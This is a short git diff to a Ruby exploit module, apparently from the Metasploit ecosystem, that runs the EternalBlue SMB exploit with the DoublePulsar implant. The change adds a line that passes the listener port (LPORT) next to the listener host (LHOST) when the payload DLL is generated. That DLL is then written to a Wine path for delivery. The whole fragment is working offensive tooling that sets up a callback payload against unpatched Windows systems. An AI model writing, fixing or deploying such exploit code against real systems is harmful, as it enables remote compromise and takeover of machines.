diff --git a/eternalblue_doublepulsar.rb b/eternalblue_doublepulsar.rb index 14698c5..96db813 100755 --- a/eternalblue_doublepulsar.rb +++ b/eternalblue_doublepulsar.rb @@ -94,6 +94,7 @@ def exploit print_status("Generating payload DLL for Doublepulsar") pay = framework.modules.create(datastore['payload']) pay.datastore['LHOST'] = datastore['LHOST'] + pay.datastore['LPORT'] = datastore['LPORT'] dll = pay.generate_simple({'Format'=>'dll'}) File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f| print_status("Writing DLL in #{dllpayload}")